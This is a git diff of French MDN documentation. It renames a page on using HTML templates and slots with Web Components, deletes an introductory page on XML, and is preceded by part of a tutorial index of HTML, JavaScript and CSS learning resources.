- -

Introduction

- -
-
Introdution à HTML (WebPlatform.org)
-
Qu'est-ce que le HTML ? Origine, utilité et structure d’un document HTML. Cet article présente les principaux éléments qui composent une page HTML. Les suivants présentent les éléments individuels qui composent HTML plus en profondeur.
-
Structure de base d'une page web (SitePoint)
-
Apprendre comment les éléments HTML s'assemblent pour former une page web.
-
Balises HTML de base (SitePoint)
-
Description des différents types d'éléments utilisés pour les documents HTML.
-
Guide HTML pour débutant (HTML Dog)
-
Articles et exercices pour apprendre les bases.
-
Challenges HTML (Wikiversity)
-
Améliorer ses compétences avec des challenges HTML.
-
Référence des balises HTML sur le MDN
-
Référence complète des balises HTML et leur support par Firefox et les autres navigateurs.
-
CodeAvengers (CodeAvengers.com)
-
Une introduction au développement d'application ou de jeux web avec HTML, CSS et JavaScript.
-
- -

Niveau intermediaire

- -
-
Astuces pour accélerer les pages HTML
-
Optimiser les pages pour un site plus réactif et réduire la charge du serveur web.
-
Plonger dans HTML5 (Mark Pilgrim)
-
Découverte des fonctionnalités d'HTML5, la dernière version de la spécification HTML.
-
Tutoriel HTML5 (HTML5 Rocks)
-
Laissez-nous vous guider dans le labyrinthe HTML5.
-
La sémantique HTML5
-
Apprendre les balises HTML, leur usage actuels et leur équivalent passé et à venir.
-
Tutoriel sur les Canvas
-
Apprendre à dessiner des éléments en utilisant les canvas.
-
HTML5 Doctor
-
Utiliser HTML5 maintenant.
-
Intégration audio avec HTML5
-
Introduction de la balise HTML5 audio pour inclure facilement du son sur votre page web. L'article comprend plusieurs exemples d'utilisation.
-
- 		-

Tutoriels Javascript

- -

Introduction

- -
-
Codecademy (Codecademy)
-
Codecademy est le moyen le plus simple pour apprendre le développement avec JavaScript. Interactif, amusant et collaboratif.
-
Démarrer avec JavaScript
-
Présentation de Javascript et de son utilisation
-
Programming - The real fundamental (WebPlatform.org)
-
Introduction à JavaScript, ses possibilités, les bonnes pratiques, pour l'apprecier, et davantage.
-
JavaScript Best Practices (WebPlatform.org)
-
Consultez les bonnes pratiques les plus courantes, mais pas seulement, pour écrire du JavaScript.
-
CodeAvengers (CodeAvengers.com)
-
Avengers Code est une introduction amusante au développement d'applications web et aux jeux avec HTML, CSS et JavaScript.
-
- -

Niveau intermediaire

- -
-
Ré-introduction au JavaScript
-
Résumé de JavaScript destiné aux développeurs intermédiaires.
-
Eloquent JavaScript
-
Guide JavaScript complet comprenant des pratiques de niveau intermédiaire et avancé.
-
Les Design Patterns essentiels en Javascript (Addy Osmani)
-
Les design patterns de base pour JavaScript.
-
The JavaScript programming language (YUI Blog)
-
Douglas Crockford étudie la position actuelle de JavaScript et son avenir.
-
Introduction à JavaScript orienté objet
-
Apprendre la modélisation objet dans Javascript.
-
- -

Niveau avancé

- -
-
Apprendre le JavaScript avancé (John Resig)
-
Guide JavaScript par John Resig.
-
Introduction au JavaScript DOM (Elated)
-
Qu'est-ce que le Document Object Model, et pourquoi il est utile? Cette article vous donnera un petit aperçu de la puissance de cette fonctionnalité de JavaScript.
-
An Inconvenient API: The Theory of the DOM (YUI Blog)
-
Douglas Crockford explique le "Document Object Model" (DOM).
-
JavaScript avancé (YUI Blog)
-
Douglas Crockford étudie les modèles que les développeurs peuvent choisir pour la création de leur application.
-
JavaScript Garden
-
Documentation des fonctionnalités étranges de Javascript.
-
Which JavaScript framework to choose? (StackOverflow)
-
Conseil pour le choix d'un framework Javascript.
-
Non-blocking JavaScript Downloads (YUI Blog)
-
Conseil pour accèlerer le chargement des pages avec JavaScript.
-
JavaScript Guide
-
Un guide régulièrement mis à jour qui explique dans le détail les opérations de JavaScript. Il est destiné à tous les niveaux, du néophyte aux utilisateurs plus avancés.
-
-
-

Tutoriels CSS

-
-

Introduction

- -
-
Démarrer avec CSS
-
This tutorial will introduce you to Cascading Style Sheets (CSS). It will guide you through the CSS features, using concrete examples that you can try for yourself on your own computer.
-
Les bases de CSS
-
What is the CSS, learning from its use, key selectors and properties
-
CSS Basics (WebPlatform.org)
-
What is the CSS, how to apply it in HTML and looks like the basic syntax of CSS.
-
Selectors CSS classes  (Wikiversity)
-
What is a class in CSS?
-
External CSS  (Wikiversity)
-
Use CSS to an external stylesheet.
-
Add a touch of style  (W3C)
-
Realizing this beginner's guide to learn how to put CSS in your pages.
-
Frequently asked questions about CSS
-
Questions and answers for beginners.
-
CodeAvengers (CodeAvengers.com)
-
Avengers Code is an effective and fun way to learn to code web applications and games with HTML, CSS and JavaScript.
-
- -

Niveau intermediaire

- -
-
CSS Reference
-
Complete CSS reference with support details of Firefox and other browsers.
-
CSS Challenges (Wikiversity)
-
Practice your skills in CSS, and see where you need the most practice.
-
Intermediate concepts in CSS  (HTML.net)
-
Group, pseudo-classes, and more.
-
CSS positioning bases  (A List Apart)
-
Using positioning to meet the standards, the layout without tables.
-
Progressive Enhancement with CSS (A List Apart)
-
The gradual improvement of your web pages with CSS.
-
Fluid Grids (A List Apart)
-
Creating models that smoothly resize with of the browser window while using a typographic grid.
-
- 		-

Niveau avancé

- -
-
CSS3 in less than 5 minutes (Addy Osmani)
-
Une courte introduction du coeur des innovations apportées par CSS3.
-
Use of CSS transformations
-
-
-
-
-
Appliquer la rotation, le détournement, la mesure et la translation d'élement avec CSS .
-
-
-
-
-
CSS transitions
-
CSS3 inclue dans sa spécification de contrôler l'animation lors du changement d'une propriété CSS. Ceci ajuste progressivement la transition visuelle de la proprieté liée.
-
Understanding CSS3 transitions (A List Apart)
-
Débutez avec les transitions CSS et apprenez à choisir attentivement dans quelle situation les utiliser.
-
Quick guide to implement Web Fonts with @ font-face (HTML5 Rocks)
-
La fonction @font-face de CSS3 proposée parmi les modules vous permet l'utilisation de polices de caractère personnelles sur le web, de manière flexible et accessible.
-
-
diff --git a/files/fr/web/web_components/using_templates_and_slots/index.html b/files/fr/web/web_components/using_templates_and_slots/index.html new file mode 100644 index 0000000000..b23a8c9632 --- /dev/null +++ b/files/fr/web/web_components/using_templates_and_slots/index.html @@ -0,0 +1,332 @@ +--- +title: Utilisation des templates et des slots +slug: Web/Web_Components/Utilisation_des_templates_et_des_slots +tags: + - Composant web + - HTML + - Template + - shadow dom + - slot +translation_of: Web/Web_Components/Using_templates_and_slots +--- +
{{DefaultAPISidebar("Web Components")}}
+ +

Cet article explique comment vous pouvez utiliser les éléments {{htmlelement("template")}} et {{htmlelement("slot")}} pour créer un template flexible qui peut ensuite être utilisé pour alimenter le Shadow DOM d'un composant Web.

+ +

La vérité sur les templates

+ +

Lorsqu'une structure de balises se répète sur une page Web, il est judicieux d'utiliser un template plutôt que d'écrire cette même structure encore et encore. Il était déjà possible de le faire, mais l'élément HTML {{htmlelement("template")}} (bien supporté par les navigateurs modernes) nous facilite la tâche. Cet élément et ce qu'il renferme n'est pas directement retranscrit dans le DOM, mais peut par contre toujours être manipulé avec JavaScript.

+ +

Voyons un exemple simple:

+ +
<template id="my-paragraph">
+  <p>My paragraph</p>
+</template>
+ +

Le tag <template> et ce qu'il contient restera invisible sur la page tant qu'aucune référence n'y sera faite dans le code JavaScript puis ajouté au DOM, en utilisant par exemple:

+ +
let template = document.getElementById('my-paragraph');
+let templateContent = template.content;
+document.body.appendChild(templateContent);
+ +

Quoique trivial, cet exemple vous permet d'entrevoir l'interêt d'utiliser des templates.

+ +

Accorder templates et composants Web

+ +

Les templates sont utiles en eux-mêmes, mais ils fonctionnent encore mieux avec des composants Web. Créons un composant Web qui utilise notre template comme contenu de son Shadow DOM. Nous l'appellerons <my-paragraph>:

+ +
customElements.define('my-paragraph',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      let template = document.getElementById('my-paragraph');
+      let templateContent = template.content;
+
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(templateContent.cloneNode(true));
+  }
+})
+ +

Le point important à noter est que l'on ajoute un clone du contenu du template à la racine du DOM, créé à l'aide de la méthode {{domxref("Node.cloneNode()")}}.

+ +

Et parce que nous ajoutons son contenu à un Shadow DOM, on peut inclure des informations de mises en forme à l'intérieur du template dans d'un élément {{htmlelement("style")}}, qui est ensuite encapsulé à l'intérieur de l'élément personnalisé. Cette procédure n'aurait pas fonctionné si on avait ajouté le contenu à un DOM standard.

+ +

Par exemple:

+ +
<template id="my-paragraph">
+  <style>
+    p {
+      color: white;
+      background-color: #666;
+      padding: 5px;
+    }
+  </style>
+  <p>My paragraph</p>
+</template>
+ +

On peut maintenent utiliser le template dans le document HTML:

+ +
<my-paragraph></my-paragraph>
+
+ +
+

Note: Les templates sont bien supportés par les navigateurs; l'API Shadow DOM est pris en charge par défaut dans Firefox (version 63 onwards), Chrome, Opera, et Safari. Edge travail également sur une implémentation.

+
+ +

Plus de flexibilité avec les slots

+ +

Jusque là, nous avons vu une première utilisation du tag template. Cette implémentation n'est pas très fexible; elle ne permet d'afficher que du texte, c'est à dire que son utilité est presque nulle! Il est possible d'insérer du texte dans chaque instance d'élément de façon déclarative grâce à {{htmlelement("slot")}}. Cette fonction est moins bien prise en charge que {{htmlelement("template")}}, disponible sur Chrome 53, Opera 40, Safari 10, Firefox 59, mais pas encore sur Edge.

+ +

Les slots sont identifiés par leur attribut name, et permettent de définir des champs dans le template qui peuvent être alimentés avec n'importe quelle structure HTML.

+ +

Donc, si on souhaite ajouter un slot dans le précédent exemple sur les templates, on peut modifier l'élément paragraphe de cette façon:

+ +
<p><slot name="my-text">My default text</slot></p>
+ +

Si le contenu du slot n'est pas défini quand l'élément est inclu dans la page, ou si les slots ne sont pas supportés par le navigateur, <my-paragraph>  contient simplement le texte statique précisé dans le template.

+ +

Pour définir le contenu du slot, on insère une structure HTML dans <my-paragraph> avec un attribut {{htmlattrxref("slot")}} dont la valeur est égale au nom du slot que l'on veut alimenter. Comme précédemment, on peut utiliser n'importe quelle structure HTML, par exemple:

+ +
<my-paragraph>
+  <span slot="my-text">Let's have some different text!</span>
+</my-paragraph>
+ +

ou

+ +
<my-paragraph>
+  <ul slot="my-text">
+    <li>Let's have some different text!</li>
+    <li>In a list!</li>
+  </ul>
+</my-paragraph>
+
+ +
+

Note: Les éléments qui peuvent être insérés dans un slot sont dits {{domxref("Slotable")}}; quand un élément a été inséré dans un slot, il est dit slotted.

+
+ +

Et c'est tout pour ce premier exemple. Si vous souhaitez manipuler les slots, vous pouvez voir la page sur GitHub (voir aussi le résultat).

+ +

Un exemple plus complexe

+ +

Pour finir, voyons un exemple un peu moins trivial.

+ +

The following set of code snippets show how to use {{HTMLElement("slot")}} together with {{HTMLElement("template")}} and some JavaScript to:

+ +
    +
  • create a <element-details> element with named slots in its shadow root
    • +
  • design the <element-details> element in such a way that, when used in documents, it is rendered from composing the element’s content together with content from its shadow root—that is, pieces of the element’s content are used to fill in named slots in its shadow root
    • +
+ +

Note that it is technically possible to use {{HTMLElement("slot")}} element without a {{HTMLElement("template")}} element, e.g., within say a regular {{HTMLElement("div")}} element, and still take advantage of the place-holder features of {{HTMLElement("slot")}} for Shadow DOM content, and doing so may indeed avoid the small trouble of needing to first access the template element's content property (and clone it). However, it is generally more practical to add slots within a {{HTMLElement("template")}} element, since you are unlikely to need to define a pattern based on an already-rendered element.

+ +

In addition, even if it is not already rendered, the purpose of the container as a template should be more semantically clear when using the {{HTMLElement("template")}}. In addition, {{HTMLElement("template")}} can have items directly added to it, like {{HTMLElement("td")}}, which would disappear when added to a {{HTMLElement("div")}}.

+ +
+

Note: You can find this complete example at element-details (see it running live also).

+
+ +

Creating a template with some slots

+ +

First of all, we use the {{HTMLElement("slot")}} element within a {{HTMLElement("template")}} element to create a new "element-details-template" document fragment containing some named slots:

+ +
<template id="element-details-template">
+  <style>
+  details {font-family: "Open Sans Light",Helvetica,Arial}
+  .name {font-weight: bold; color: #217ac0; font-size: 120%}
+  h4 { margin: 10px 0 -8px 0; }
+  h4 span { background: #217ac0; padding: 2px 6px 2px 6px }
+  h4 span { border: 1px solid #cee9f9; border-radius: 4px }
+  h4 span { color: white }
+  .attributes { margin-left: 22px; font-size: 90% }
+  .attributes p { margin-left: 16px; font-style: italic }
+  </style>
+  <details>
+    <summary>
+      <span>
+        <code class="name">&lt;<slot name="element-name">NEED NAME</slot>&gt;</code>
+        <i class="desc"><slot name="description">NEED DESCRIPTION</slot></i>
+      </span>
+    </summary>
+    <div class="attributes">
+      <h4><span>Attributes</span></h4>
+      <slot name="attributes"><p>None</p></slot>
+    </div>
+  </details>
+  <hr>
+</template>
+
+ +

That {{HTMLElement("template")}} element has several features:

+ +
    +
  • The {{HTMLElement("template")}} has a {{HTMLElement("style")}} element with a set of CSS styles that are scoped just to the document fragment the  {{HTMLElement("template")}} creates.
    • +
  • The {{HTMLElement("template")}} uses {{HTMLElement("slot")}} and its {{htmlattrxref("name", "slot")}} attribute to make three named slots: +
      +
    • <slot name="element-name">
      • +
    • <slot name="description">
      • +
    • <slot name="attributes">
      • +
    +
    • +
  • The {{HTMLElement("template")}} wraps the named slots in a {{HTMLElement("details")}} element.
    • +
+ +

Creating a new <element-details> element from the <template>

+ +

Next, let’s create a new custom element named <element-details> and use {{DOMXref("Element.attachShadow")}} to attach to it, as its shadow root, that document fragment we created with our {{HTMLElement("template")}} element above. This uses exactly the same pattern as we saw in our earlier trivial example.

+ +
customElements.define('element-details',
+  class extends HTMLElement {
+    constructor() {
+      super();
+      var template = document
+        .getElementById('element-details-template')
+        .content;
+      const shadowRoot = this.attachShadow({mode: 'open'})
+        .appendChild(template.cloneNode(true));
+  }
+})
+
+ +

Using the <element-details> custom element with named slots

+ +

Now let’s take that <element-details> element and actually use it in our document:

+ +
<element-details>
+  <span slot="element-name">slot</span>
+  <span slot="description">A placeholder inside a web
+    component that users can fill with their own markup,
+    with the effect of composing different DOM trees
+    together.</span>
+  <dl slot="attributes">
+    <dt>name</dt>
+    <dd>The name of the slot.</dd>
+  </dl>
+</element-details>
+
+<element-details>
+  <span slot="element-name">template</span>
+  <span slot="description">A mechanism for holding client-
+    side content that is not to be rendered when a page is
+    loaded but may subsequently be instantiated during
+    runtime using JavaScript.</span>
+</element-details>
+
+ +

About that snippet, notice these points:

+ +
    +
  • The snippet has two instances of <element-details> elements which both use the {{htmlattrxref("slot")}} attribute to reference the named slots "element-name" and "description" we put in the <element-details> shadow root .
    • +
  • Only the first of those two <element-details> elements references the "attributes" named slot. The second <element-details> element lacks any reference to the "attributes" named slot.
    • +
  • The first <element-details> element references the "attributes" named slot using a {{HTMLElement("dl")}} element with {{HTMLElement("dt")}} and {{HTMLElement("dd")}} children.
    • +
+ +

Adding a final bit of style

+ +

As a finishing touch, we'll add a tiny bit more CSS for the {{HTMLElement("dl")}}, {{HTMLElement("dt")}}, and {{HTMLElement("dd")}} elements in our doc:

+ +
  dl { margin-left: 6px; }
+  dt { font-weight: bold; color: #217ac0; font-size: 110% }
+  dt { font-family: Consolas, "Liberation Mono", Courier }
+  dd { margin-left: 16px }
+
+ + + +

Result

+ +

Finally let’s put all the snippets together and see what the rendered result looks like.

+ +

{{ EmbedLiveSample('full_example', '300','400','https://mdn.mozillademos.org/files/14553/element-details.png','') }}

+ +

Notice the following points about this rendered result:

+ +
    +
  • Even though the instances of the <element-details> element in the document do not directly use the {{HTMLElement("details")}} element, they get rendered using {{HTMLElement("details")}} because the shadow root causes them to get populated with that.
    • +
  • Within the rendered {{HTMLElement("details")}} output, the content in the <element-details> elements fills the named slots from the shadow root. In other words, the DOM tree from the <element-details> elements get composed together with the content of the shadow root.
    • +
  • For both <element-details> elements, an Attributes heading gets automatically added from the shadow root before the position of the "attributes" named slot.
    • +
  • Because the first <element-details> has a {{HTMLElement("dl")}} element which explicitly references the "attributes" named slot from its shadow root, the contents of that {{HTMLElement("dl")}} replace the "attributes" named slot from the shadow root.
    • +
  • Because the second <element-details> doesn’t explicitly reference the "attributes" named slot from its shadow root, its content for that named slot gets filled with the default content for it from the shadow root.
    • +
+ + diff --git a/files/fr/web/web_components/utilisation_des_templates_et_des_slots/index.html b/files/fr/web/web_components/utilisation_des_templates_et_des_slots/index.html deleted file mode 100644 index b23a8c9632..0000000000 --- a/files/fr/web/web_components/utilisation_des_templates_et_des_slots/index.html +++ /dev/null @@ -1,332 +0,0 @@ ---- -title: Utilisation des templates et des slots -slug: Web/Web_Components/Utilisation_des_templates_et_des_slots -tags: - - Composant web - - HTML - - Template - - shadow dom - - slot -translation_of: Web/Web_Components/Using_templates_and_slots ---- -
{{DefaultAPISidebar("Web Components")}}
- -

Cet article explique comment vous pouvez utiliser les éléments {{htmlelement("template")}} et {{htmlelement("slot")}} pour créer un template flexible qui peut ensuite être utilisé pour alimenter le Shadow DOM d'un composant Web.

- -

La vérité sur les templates

- -

Lorsqu'une structure de balises se répète sur une page Web, il est judicieux d'utiliser un template plutôt que d'écrire cette même structure encore et encore. Il était déjà possible de le faire, mais l'élément HTML {{htmlelement("template")}} (bien supporté par les navigateurs modernes) nous facilite la tâche. Cet élément et ce qu'il renferme n'est pas directement retranscrit dans le DOM, mais peut par contre toujours être manipulé avec JavaScript.

- -

Voyons un exemple simple:

- -
<template id="my-paragraph">
-  <p>My paragraph</p>
-</template>
- -

Le tag <template> et ce qu'il contient restera invisible sur la page tant qu'aucune référence n'y sera faite dans le code JavaScript puis ajouté au DOM, en utilisant par exemple:

- -
let template = document.getElementById('my-paragraph');
-let templateContent = template.content;
-document.body.appendChild(templateContent);
- -

Quoique trivial, cet exemple vous permet d'entrevoir l'interêt d'utiliser des templates.

- -

Accorder templates et composants Web

- -

Les templates sont utiles en eux-mêmes, mais ils fonctionnent encore mieux avec des composants Web. Créons un composant Web qui utilise notre template comme contenu de son Shadow DOM. Nous l'appellerons <my-paragraph>:

- -
customElements.define('my-paragraph',
-  class extends HTMLElement {
-    constructor() {
-      super();
-      let template = document.getElementById('my-paragraph');
-      let templateContent = template.content;
-
-      const shadowRoot = this.attachShadow({mode: 'open'})
-        .appendChild(templateContent.cloneNode(true));
-  }
-})
- -

Le point important à noter est que l'on ajoute un clone du contenu du template à la racine du DOM, créé à l'aide de la méthode {{domxref("Node.cloneNode()")}}.

- -

Et parce que nous ajoutons son contenu à un Shadow DOM, on peut inclure des informations de mises en forme à l'intérieur du template dans d'un élément {{htmlelement("style")}}, qui est ensuite encapsulé à l'intérieur de l'élément personnalisé. Cette procédure n'aurait pas fonctionné si on avait ajouté le contenu à un DOM standard.

- -

Par exemple:

- -
<template id="my-paragraph">
-  <style>
-    p {
-      color: white;
-      background-color: #666;
-      padding: 5px;
-    }
-  </style>
-  <p>My paragraph</p>
-</template>
- -

On peut maintenent utiliser le template dans le document HTML:

- -
<my-paragraph></my-paragraph>
-
- -
-

Note: Les templates sont bien supportés par les navigateurs; l'API Shadow DOM est pris en charge par défaut dans Firefox (version 63 onwards), Chrome, Opera, et Safari. Edge travail également sur une implémentation.

-
- -

Plus de flexibilité avec les slots

- -

Jusque là, nous avons vu une première utilisation du tag template. Cette implémentation n'est pas très fexible; elle ne permet d'afficher que du texte, c'est à dire que son utilité est presque nulle! Il est possible d'insérer du texte dans chaque instance d'élément de façon déclarative grâce à {{htmlelement("slot")}}. Cette fonction est moins bien prise en charge que {{htmlelement("template")}}, disponible sur Chrome 53, Opera 40, Safari 10, Firefox 59, mais pas encore sur Edge.

- -

Les slots sont identifiés par leur attribut name, et permettent de définir des champs dans le template qui peuvent être alimentés avec n'importe quelle structure HTML.

- -

Donc, si on souhaite ajouter un slot dans le précédent exemple sur les templates, on peut modifier l'élément paragraphe de cette façon:

- -
<p><slot name="my-text">My default text</slot></p>
- -

Si le contenu du slot n'est pas défini quand l'élément est inclu dans la page, ou si les slots ne sont pas supportés par le navigateur, <my-paragraph>  contient simplement le texte statique précisé dans le template.

- -

Pour définir le contenu du slot, on insère une structure HTML dans <my-paragraph> avec un attribut {{htmlattrxref("slot")}} dont la valeur est égale au nom du slot que l'on veut alimenter. Comme précédemment, on peut utiliser n'importe quelle structure HTML, par exemple:

- -
<my-paragraph>
-  <span slot="my-text">Let's have some different text!</span>
-</my-paragraph>
- -

ou

- -
<my-paragraph>
-  <ul slot="my-text">
-    <li>Let's have some different text!</li>
-    <li>In a list!</li>
-  </ul>
-</my-paragraph>
-
- -
-

Note: Les éléments qui peuvent être insérés dans un slot sont dits {{domxref("Slotable")}}; quand un élément a été inséré dans un slot, il est dit slotted.

-
- -

Et c'est tout pour ce premier exemple. Si vous souhaitez manipuler les slots, vous pouvez voir la page sur GitHub (voir aussi le résultat).

- -

Un exemple plus complexe

- -

Pour finir, voyons un exemple un peu moins trivial.

- -

The following set of code snippets show how to use {{HTMLElement("slot")}} together with {{HTMLElement("template")}} and some JavaScript to:

- -
    -
  • create a <element-details> element with named slots in its shadow root
    • -
  • design the <element-details> element in such a way that, when used in documents, it is rendered from composing the element’s content together with content from its shadow root—that is, pieces of the element’s content are used to fill in named slots in its shadow root
    • -
- -

Note that it is technically possible to use {{HTMLElement("slot")}} element without a {{HTMLElement("template")}} element, e.g., within say a regular {{HTMLElement("div")}} element, and still take advantage of the place-holder features of {{HTMLElement("slot")}} for Shadow DOM content, and doing so may indeed avoid the small trouble of needing to first access the template element's content property (and clone it). However, it is generally more practical to add slots within a {{HTMLElement("template")}} element, since you are unlikely to need to define a pattern based on an already-rendered element.

- -

In addition, even if it is not already rendered, the purpose of the container as a template should be more semantically clear when using the {{HTMLElement("template")}}. In addition, {{HTMLElement("template")}} can have items directly added to it, like {{HTMLElement("td")}}, which would disappear when added to a {{HTMLElement("div")}}.

- -
-

Note: You can find this complete example at element-details (see it running live also).

-
- -

Creating a template with some slots

- -

First of all, we use the {{HTMLElement("slot")}} element within a {{HTMLElement("template")}} element to create a new "element-details-template" document fragment containing some named slots:

- -
<template id="element-details-template">
-  <style>
-  details {font-family: "Open Sans Light",Helvetica,Arial}
-  .name {font-weight: bold; color: #217ac0; font-size: 120%}
-  h4 { margin: 10px 0 -8px 0; }
-  h4 span { background: #217ac0; padding: 2px 6px 2px 6px }
-  h4 span { border: 1px solid #cee9f9; border-radius: 4px }
-  h4 span { color: white }
-  .attributes { margin-left: 22px; font-size: 90% }
-  .attributes p { margin-left: 16px; font-style: italic }
-  </style>
-  <details>
-    <summary>
-      <span>
-        <code class="name">&lt;<slot name="element-name">NEED NAME</slot>&gt;</code>
-        <i class="desc"><slot name="description">NEED DESCRIPTION</slot></i>
-      </span>
-    </summary>
-    <div class="attributes">
-      <h4><span>Attributes</span></h4>
-      <slot name="attributes"><p>None</p></slot>
-    </div>
-  </details>
-  <hr>
-</template>
-
- -

That {{HTMLElement("template")}} element has several features:

- -
    -
  • The {{HTMLElement("template")}} has a {{HTMLElement("style")}} element with a set of CSS styles that are scoped just to the document fragment the  {{HTMLElement("template")}} creates.
    • -
  • The {{HTMLElement("template")}} uses {{HTMLElement("slot")}} and its {{htmlattrxref("name", "slot")}} attribute to make three named slots: -
      -
    • <slot name="element-name">
      • -
    • <slot name="description">
      • -
    • <slot name="attributes">
      • -
    -
    • -
  • The {{HTMLElement("template")}} wraps the named slots in a {{HTMLElement("details")}} element.
    • -
- -

Creating a new <element-details> element from the <template>

- -

Next, let’s create a new custom element named <element-details> and use {{DOMXref("Element.attachShadow")}} to attach to it, as its shadow root, that document fragment we created with our {{HTMLElement("template")}} element above. This uses exactly the same pattern as we saw in our earlier trivial example.

- -
customElements.define('element-details',
-  class extends HTMLElement {
-    constructor() {
-      super();
-      var template = document
-        .getElementById('element-details-template')
-        .content;
-      const shadowRoot = this.attachShadow({mode: 'open'})
-        .appendChild(template.cloneNode(true));
-  }
-})
-
- -

Using the <element-details> custom element with named slots

- -

Now let’s take that <element-details> element and actually use it in our document:

- -
<element-details>
-  <span slot="element-name">slot</span>
-  <span slot="description">A placeholder inside a web
-    component that users can fill with their own markup,
-    with the effect of composing different DOM trees
-    together.</span>
-  <dl slot="attributes">
-    <dt>name</dt>
-    <dd>The name of the slot.</dd>
-  </dl>
-</element-details>
-
-<element-details>
-  <span slot="element-name">template</span>
-  <span slot="description">A mechanism for holding client-
-    side content that is not to be rendered when a page is
-    loaded but may subsequently be instantiated during
-    runtime using JavaScript.</span>
-</element-details>
-
- -

About that snippet, notice these points:

- -
    -
  • The snippet has two instances of <element-details> elements which both use the {{htmlattrxref("slot")}} attribute to reference the named slots "element-name" and "description" we put in the <element-details> shadow root .
    • -
  • Only the first of those two <element-details> elements references the "attributes" named slot. The second <element-details> element lacks any reference to the "attributes" named slot.
    • -
  • The first <element-details> element references the "attributes" named slot using a {{HTMLElement("dl")}} element with {{HTMLElement("dt")}} and {{HTMLElement("dd")}} children.
    • -
- -

Adding a final bit of style

- -

As a finishing touch, we'll add a tiny bit more CSS for the {{HTMLElement("dl")}}, {{HTMLElement("dt")}}, and {{HTMLElement("dd")}} elements in our doc:

- -
  dl { margin-left: 6px; }
-  dt { font-weight: bold; color: #217ac0; font-size: 110% }
-  dt { font-family: Consolas, "Liberation Mono", Courier }
-  dd { margin-left: 16px }
-
- - - -

Result

- -

Finally let’s put all the snippets together and see what the rendered result looks like.

- -

{{ EmbedLiveSample('full_example', '300','400','https://mdn.mozillademos.org/files/14553/element-details.png','') }}

- -

Notice the following points about this rendered result:

- -
    -
  • Even though the instances of the <element-details> element in the document do not directly use the {{HTMLElement("details")}} element, they get rendered using {{HTMLElement("details")}} because the shadow root causes them to get populated with that.
    • -
  • Within the rendered {{HTMLElement("details")}} output, the content in the <element-details> elements fills the named slots from the shadow root. In other words, the DOM tree from the <element-details> elements get composed together with the content of the shadow root.
    • -
  • For both <element-details> elements, an Attributes heading gets automatically added from the shadow root before the position of the "attributes" named slot.
    • -
  • Because the first <element-details> has a {{HTMLElement("dl")}} element which explicitly references the "attributes" named slot from its shadow root, the contents of that {{HTMLElement("dl")}} replace the "attributes" named slot from the shadow root.
    • -
  • Because the second <element-details> doesn’t explicitly reference the "attributes" named slot from its shadow root, its content for that named slot gets filled with the default content for it from the shadow root.
    • -
- - diff --git "a/files/fr/web/xml/introduction_\303\240_xml/index.html" "b/files/fr/web/xml/introduction_\303\240_xml/index.html" deleted file mode 100644 index 4f502262eb..0000000000 --- "a/files/fr/web/xml/introduction_\303\240_xml/index.html" +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Introduction à XML -slug: Web/XML/Introduction_à_XML -tags: - - XML -translation_of: Web/XML/XML_introduction ---- -

-


-

-

Définition

-

XML, pour eXtensible Markup Language (langage de balisage extensible), est un langage de balisage généraliste recommandé par le W3C comme l'est HTML. XML est un sous-ensemble du langage SGML. Cela signifie que contrairement aux autres langages de balisages, XML n'est pas prédéfini, vous devez définir vos propres balises. Le but principal de ce langage est le partage de données entre différents systèmes, tel qu'Internet. -

De nombreux autres langages sont basés sur XML, comme par exemple XHTML, MathML, SVG, XUL, XBL, RSS et RDF. Vous pouvez créer votre propre langage basé sur XML. -

-

Du XML « correct » (valide et « bien formé »)

-

Pour être correct, un document XML doit être « bien formé », se conformer à toutes les règles de syntaxe du XML, et « valide », se conformer aux règles d'un langage spécifique. -

La plupart des navigateurs, dont Mozilla, offrent un outil de validation qui informera souvent lors de la lecture ou de l'affichage de documents mal formés. -

-

Exemple

-

Voici un exemple de document mal formé : un des éléments possédant une balise d'ouverture, <warning>, n'a pas de balise de fermeture et ce n'est pas un élément vide (ou auto-fermant comme les balises <br /> ou <img /> en XHTML). -

-
<code>
-  <message>
-    <warning>
-      Hello World
-  </message>
-</code>
-
-

L'exemple qui suit est correct et « bien formé » : -

-
<code>
-  <message>
-    <warning>
-      Hello World
-    </warning>
-  </message>
-</code>
-
-

Pour être valide, un document doit se conformer à des règles sémantiques qui sont habituellement définies dans un XML Schema ou une Document Type Definition. Un document qui contient une balise non définie n'est pas valide. Dans notre exemple ci-dessus, si nous ne définissons pas la balise <warning> alors notre document ne sera pas valide. -

-

Entités

-

Comme le HTML, le XML fournit des méthodes (appelées entités) pour se référer à certains caractères spéciaux réservés (tel que le signe « plus grand que » utilisé pour les balises). Il faut connaître 5 de ces caractères spéciaux : -

- - - - - - - - - - - - -
Codage -Entité -Description -
&lt; -< -Un signe « plus petit que ». -
&gt; -> -Un signe « plus grand que ». -
&amp; -& -Esperluette (signe ET). -
&quot; -" -Un guillemet anglais. -
&apos; -' -Une apostrophe simple. -
-

Même s'il n'y a que 5 entités déclarées, il est possible d'en ajouter d'autres grâce à la Document Type Definition, comme décrit ci-dessous : -

-
<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE body [
-    <!ENTITY warning "Avertissement : Quelque chose ne fonctionne pas correctement…
-                      Veuillez rafraîchir et réessayer.">
-]>
-<body>
-  <message> &warning; </message>
-</body>
-
-

Vous pouvez également utiliser les références numériques de caractères pour employer ces caractères spéciaux telles que &#xA9; pour un signe ©. Vous trouverez plus d'informations à propos des références numériques de caractères spéciaux sur Numeric character reference (en). -

-

Affichage de XML

-

Il y a deux manières différentes d'utiliser le XML pour la présentation, et cela peut aller d'une transformation en HTML à la génération d'un document PDF ou d'images. -

Une manière d'appliquer un style sur une page XML est d'utiliser une feuille de style CSS avec la déclaration xml-stylesheet. -

-
<?xml-stylesheet type="text/css" href="stylesheet.css"?>
-

L'autre technique utilise la puissance de XSLT, qui est capable de transformer les balises XML en toute autre chose, les possibilités sont alors presque infinies. -

-
<?xml-stylesheet type="text/xsl" href="transform.xsl"?>
-

Recommandations

-

Cet article n'est qu'une introduction rapide à XML ; pour plus de détails, parcourez le Web à la recherche d'articles allant plus en profondeur. -

L'apprentissage du langage de balisage HTML vous aidera à mieux comprendre XML. Vous trouverez également plus d'informations en explorant le Mozilla Developer Center. -

Voici une liste d'articles de référence sur le Web : -

- -

L'article Using XML (en) est une ressource particulièrement intéressante sur la transformation et la création de votre propre langage XML. -

-
-

Informations sur le document

- -
